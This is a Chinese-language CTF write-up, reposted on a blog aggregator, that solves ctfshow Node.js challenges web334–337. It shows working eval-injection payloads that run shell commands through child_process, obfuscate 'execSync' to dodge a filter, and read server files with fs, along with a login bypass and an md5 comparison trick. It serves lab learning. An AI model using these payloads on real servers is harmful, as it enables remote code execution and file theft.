ctfshow-nodejs

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象{username: 'CTFSHOW', password: '123456'}]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块),用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例,用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块,假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象;如果没有找到任何匹配的用户对象,则返回 undefined
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
/* GET home page. */
//这段代码是一个路由处理函数,当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';//通过 req.session 创建或获取当前会话的 Session 对象var sess = req.session;//获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给uservar user = findUser(req.body.username, req.body.password);//如果user存在 执行代码//重新生成会话,并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话,//以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误,将通过返回一个 JSON 响应表示登录失败if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }//将用户对象的用户名赋值给会话对象的 loginUser 属性req.session.loginUser = user.username;//返回一个 JSON 响应对象,其中包含登录成功的信息,以及之前设置的 flag 变量的值res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  
});
module.exports = router;

前端的js

<script>$('.btn').click(function(){login();//如果点击btn类名的元素时执行login函数});function login(){ $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置url:'/login',type:'post',data:{username:$('#username').val(),password:$('#password').val()},//数据包返回 会将数据先解析为json格式 然后进行判断success:function(data){data = JSON.parse(data);if(data.ret_code===0){alert(data.ret_flag);}else{alert(data.ret_msg);}                }});}
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs,eval很有可能在后端是执行的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块,它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密return crypto.createHash('md5').update(s).digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;//判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中,无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的,还是a[‘x’]=1,a[‘y’]=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/53272.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SAP B1 基础实操 - 用户定义字段 (UDF)

目录 一、功能介绍 1. 使用场景 2. 操作逻辑 3. 常用定义部分 3.1 主数据 3.2 营销单据 4. 字段设置表单 4.1 字段基础信息 4.2 不同类详细设置 4.3 默认值/必填 二、案例 1 要求 2 操作步骤 一、功能介绍 1. 使用场景 在实施过程中&#xff0c;经常会碰见用户需…

Jmeter使用时小技巧添加“泊松随机定时器“模拟用户思考时间

1、模拟用户思考时间&#xff0c;添加"泊松随机定时器"

SQL Server导入导出

SQL Server导入导出 导出导入 这里已经安装好了SQL Server&#xff0c;也已经创建了数据库和表。现在想导出来给别人使用&#xff0c;所以需要导入导出功能。环境&#xff1a;SQL Server 2012 SP4 如果没有安装&#xff0c;可以查看安装教程&#xff1a; Microsoft SQL Server …

装WebVideoCreator记录

背景&#xff0c;需要在docker容器内配置WebVideoCreator环境&#xff0c;配置npm、node.js WebVideoCreator地址&#xff1a;https://github.com/Vinlic/WebVideoCreator 配置环境&#xff0c;使用这个教程&#xff1a; linux下安装node和npm_linux离线安装npm-CSDN博客 1…

JavaWeb - Mybatis - 基础操作

删除Delete 接口方法&#xff1a; Mapper public interface EmpMapper { //Delete("delete from emp where id 17") //public void delete(); //以上delete操作的SQL语句中的id值写成固定的17&#xff0c;就表示只能删除id17的用户数据 //SQL语句中的id值不能写成…

[数据集][目标检测]西红柿成熟度检测数据集VOC+YOLO格式3241张5类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;3241 标注数量(xml文件个数)&#xff1a;3241 标注数量(txt文件个数)&#xff1a;3241 标注…

GitHub精选|8 个强大工具,助力你的开发和探究工作

本文精选了8个来自 GitHub 的优秀项目&#xff0c;涵盖了 低代码、报表工具、Web 开发、云原生、通知管理、构建系统、生物计算、位置追踪、API 规范和依赖更新等方面&#xff0c;为开发者和研究人员提供了丰富的资源和灵感。 目录 1.防弹 React&#xff1a;构建强大的 Web 应…

第十周:机器学习笔记

第十周机器学习周报 摘要Abstract机器学习——self-attention&#xff08;注意力机制&#xff09;1. 为什么要用self-attention2. self-attention 工作原理2.1 求α的两种方式2.2 attention-score&#xff08;关联程度&#xff09; Pytorch学习1. 损失函数代码实战1.1 L1loss&a…

电路分析 ---- 加法器

1 同相加法器 分析过程 虚短&#xff1a; u u − R G R G R F u O u_{}u_{-}\cfrac{R_{G}}{R_{G}R_{F}}u_{O} u​u−​RG​RF​RG​​uO​ i 1 u I 1 − u R 1 i_{1}\cfrac{u_{I1}-u_{}}{R_{1}} i1​R1​uI1​−u​​&#xff1b; i 2 u I 2 − u R 2 i_{2}\cfrac{u_{…

如何判断小程序是运行在“企业微信”中的还是运行在“微信”中的?

如何判断小程序是运行在“企业微信”中的还是运行在“微信”中的&#xff1f; 目录 如何判断小程序是运行在“企业微信”中的还是运行在“微信”中的&#xff1f; 一、官方开发文档 1.1、“微信小程序”开发文档的说明 1.2、“企业微信小程序”开发文档的说明 1.3、在企业…

无线信道中ph和ph^2的场景

使用 p h ph ph的情况&#xff1a; Rayleigh 分布的随机变量可以通过两个独立且相同分布的零均值、高斯分布的随机变量表示。设两个高斯随机变量为 X ∼ N ( 0 , σ 2 ) X \sim \mathcal{N}(0, \sigma^2) X∼N(0,σ2)和 Y ∼ N ( 0 , σ 2 ) Y \sim \mathcal{N}(0, \sigma^2)…

终端协会发布《移动互联网应用程序(App)自动续费测评规范》

随着移动互联网的快速发展&#xff0c;App自动续费服务已成为许多应用的标配&#xff0c;但同时也引发了不少消费者的投诉和不满。为了规范这一市场行为&#xff0c;保护消费者的合法权益&#xff0c;电信终端协会&#xff08;TAF&#xff09;发布了《移动互联网应用程序&#…

代码随想录 刷题记录-28 图论 (5)最短路径

一、dijkstra&#xff08;朴素版&#xff09;精讲 47. 参加科学大会 思路 本题就是求最短路&#xff0c;最短路是图论中的经典问题即&#xff1a;给出一个有向图&#xff0c;一个起点&#xff0c;一个终点&#xff0c;问起点到终点的最短路径。 接下来讲解最短路算法中的 d…

网络层 V(IPv6)【★★★★★★】

一、IPv6 的特点 IP 是互联网的核心协议。现在使用的 IP&#xff08;即 IPv4 ) 是在 20 世纪 70 年代末期设计的。互联网经过几十年的飞速发展&#xff0c;到 2011 年 2 月&#xff0c;IPv4 的地址已经耗尽&#xff0c; ISP 已经不能再申请到新的 IP 地址块了。我国在 2014 年…

梨花声音教育退费普通话学习技巧之了解文化背景

在学习普通话的过程中&#xff0c;了解中国的文化背景是不可或缺的一环。语言不仅是交流的工具&#xff0c;更是文化的载体。通过深入了解中国的历史、文化和社会背景&#xff0c;学习者可以更好地理解和掌握普通话&#xff0c;使语言学习变得更加生动有趣。本文将从几个方面详…

【iOS】属性关键字

目录 深浅拷贝 自定义类 容器类深拷贝 属性关键字 原子操作 atomic nonatomic 读写权限 readwrite readonly 内存管理 weak assign strong retian copy strong与copy 补充 属性关键字格式 ARC下property的默认属性 深浅拷贝 关于深浅拷贝&#xff0c;笔者在…

ClickHouse的安装教程

ClickHouse的安装教程 文章目录 ClickHouse的安装教程写在前面准备工作关闭防火墙CentOS 取消打开文件数限制安装依赖CentOS 取消 SELINUX 单机安装在 **node01** 的/opt/software 下创建 clickhouse 目录将下载的文件上传到 node01 的 /opt/software/clickhouse 目录下将安装文…

FPGA第 9 篇,Verilog 中的关键字和基数

前言 在 Verilog 中&#xff0c;关键字&#xff08;Keywords&#xff09;和基数&#xff08;Radix&#xff09;是语言的重要组成部分&#xff0c;它们有助于描述和定义硬件设计。上期分享了 Verilog 的基本使用&#xff0c;以及数据类型、逻辑值和算数运算符的简单应用&#x…

快手电商上线 “金秋赶蟹季” 活动,特别推出“蟹无忧”服务

金秋九月&#xff0c;正是品蟹好时节。为引入更多源头好蟹&#xff0c;快手电商发起了「金秋赶蟹季」溯源活动。为了让全国老铁提前品尝肥美的盘锦河蟹&#xff0c;9月3日&#xff0c;快手电商携手盘山县人民政府举行盘锦河蟹开捕仪式&#xff0c;并在快手小店 直播间进行全程直…

SprinBoot+Vue校园活动报名微信小程序的设计与实现

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 application.yml3.5 SpringbootApplication3.5 Vue3.6 uniapp代码 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平…